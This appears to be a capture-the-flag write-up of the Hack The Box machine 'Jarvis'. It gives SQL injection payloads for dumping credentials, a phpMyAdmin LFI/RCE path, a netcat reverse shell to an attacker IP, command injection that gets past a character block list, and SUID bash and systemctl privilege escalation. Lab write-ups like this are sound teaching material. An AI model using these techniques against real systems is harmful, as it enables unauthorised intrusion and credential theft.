Skip to the content.

Jarvis was the first box I ever touched, and I think it has a good range of vulnerabilties and attack surfaces. Summary User - A website is vulnerable to SQL injection, allowing credential gathering for PHPMyAdmin. PHPMyAdmin has a RFI vulnerability allowing for PHP RCE, giving a shell. A bad sudo rule gives us elevation to user.

Root - We have permission to create a custom service which runs as root.



Starting off with a standard nmap scan. Normally I’d leave one running to scan all ports aggressively, but it wasn’t necessary in this case.

[email protected]:~# nmap writeup.htb -v
[ ... ]
Discovered open port 80/tcp on <- Web (HTTP)
Discovered open port 22/tcp on <- SSH

Web is open, so I’ll add supersecurehotel.htb to /etc/hosts (this was the hostname in the banner of the website)


The website appears to be a site advertising ‘Stark Hotel’. Before running page discovery scripts like dirb, I decided to look around manually. The main page that caught my interest was /room.php, which took the GET paramater cod. By playing with this, I found I could break the output with a non-existent room. Rooms This looked like SQL injection, so I fired up SQLMap.

[email protected]:~/boxes/jarvis# sqlmap -u http://supersecurehotel.htb/room.php?cod=10
 ___ ___["]_____ ___ ___  {1.2.10#pip}
|_ -| . ["]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V          |_|

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[ ... ]

[14:16:52] [INFO] GET parameter 'cod' appears to be 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' injectable 

It was at this point the output stopped, I checked the site, and lo and behold: Banned It appears we’ll get banned for any heavy requesting on the room.php page, so we’ll have to do this manually.

SQL Injection

Via trial and error, I found that cod=100 UNION SELECT 1,2,3,4,5,6,7;-- - populated some of the fields in the page, meaning we have 7 columns in the SELECT. Banned By comparing the output to cod=1, we can see that 5 is the picture, 2 is the room title, 3 is the price, and 4 is the description.

I used this information to explore the db, and eventually managed to dump credentials with SELECT 1, user,3, 4,password, 6, 7 from mysql.user;-- -. Using this, we get the info DBadmin:2D2B7A5E4E637B8FBA1D17F40318F277D29964D0. Taking this over to, we find that this password is imissyou. But where to use this? I set off dirb to enumerate pages (we only get banned for heavy requests on room.php, the rest of the site is fair game).

[email protected]:~/boxes/jarvis# dirb http://supersecurehotel.htb

DIRB v2.22    
By The Dark Raver
[ ... ]                                                                                                                                                                 
==> DIRECTORY: http://supersecurehotel.htb/phpmyadmin/                                                                                                                                                                        

We have PHPMyAdmin! Let’s log in.


The page title reveals the version as PHPMyAdmin 4.8.0. There is an LFI/RCE exploit for this, explained here. We can demonstrate this with http://supersecurehotel.htb/phpmyadmin/index.php?target=db_sql.php%3f../../../../../../../etc/passwd, which gives use the contents of the passwd file.


Originally, I tried session log poisoning, but I couldn’t get it to include my sessionfile. Luckily, I found the Metasploit module exploit/multi/http/phpmyadmin_lfi_rce, which drops us a Meterpreter session. I personally don’t like using Meterpreter to enumerate, so I found nc -e was allowed, ran nc -e /bin/bash IP 8888 to get a shell back, then python -c 'import pty;pty.spawn("/bin/bash")', and finally Ctrl-Z, stty raw -echo, fg to get a full tty shell.

Privesc to user

At this point we have a shell as www-data. I tried sudo -l to see if we had a quick path to root/user, and luckily got

[email protected]:/usr/share/phpmyadmin$ sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,
User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/

So we can run as pepper, I wonder what that is?

[email protected]:/usr/share/phpmyadmin$ sudo -u pepper /var/www/Admin-Utilities/ -s
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 

Number of Attackers: 1
Most Risky: - Attack Level : 4 Request: : GET /room.php?cod=10
Most Recent: --> 2020-02-05 09:43:44 : GET /phpmyadmin/server_privileges.php?viewing_mode=server&ajax_request=true&ajax_page_request=true&_nocache=158091381603427055&token=6JB99T%40w%27%3ET4E9O7

Seems to be a frontend for the SQLi bruteforce prevention from earlier. A quick look around the script reveals:

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
    os.system('ping ' + command)

So it runs ping <user input>. Seems like simple command injection, but a lot of the standard characters for command chaining are blocked. Luckily, they forgot some. Banned By including $(command), our command is executed before the ping, which means no worrying about ensuring that the ping doesn’t fail. To get a quick shell as pepper, I ran $(cp /bin/bash /tmp/clubsh) followed by $(chmod u+s /tmp/clubsh). This copies bash to /tmp and then sets the SUID bit on it, meaning it will run as pepper. I have to call it with /bin/clubsh -p to force it not to drop privileges.

clubsh-4.4$ id
uid=33(www-data) gid=33(www-data) euid=1000(pepper) groups=33(www-data)

Our effective UID is 1000, meaning we can run commands as pepper. From here, I created /home/pepper/.ssh, echoed my public key to authorized_keys, and now I can SSH in.

[email protected]:~$ ls
user.txt  Web
[email protected]:~$ cat user.txt 

And we’ve owned User.


Local Enumeration

I first uploaded to quickly find anything interesting. It found a list of SUID files:

====================================( Interesting Files )=====================================
[+] SUID
[ ... ]
/bin/systemctl <- Highlighted
[ ... ]

systemctl has SUID set, so we can run it as root. Using the awesome resource, we find Excerpt:

echo '[Service]
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]' > $TF
./systemctl link $TF
./systemctl enable --now $TF

If we paste this sample script in, we get

[email protected]:~$ cat /tmp/output 
uid=0(root) gid=0(root) groups=0(root)

so we wrote to a file as root! Time to hijack this for a full shell!

systemctl Hijacking

By simply chaning the command to mkdir /root/.ssh; cp /home/pepper/.ssh/authorized_keys /root/.ssh/authorized_keys, I copy my ssh public key into root’s directory, and we can now ssh straight in as root.

[email protected]:~# cat root.txt 

Root owned!

Final Notes

The first part of this box was the hardest IMO, as it forced me not to rely on automated tools to enumerate credentials. Beyond that, the steps were fairly simple, but good for introducing simple command injection and SUID hijacking for privilege escalation.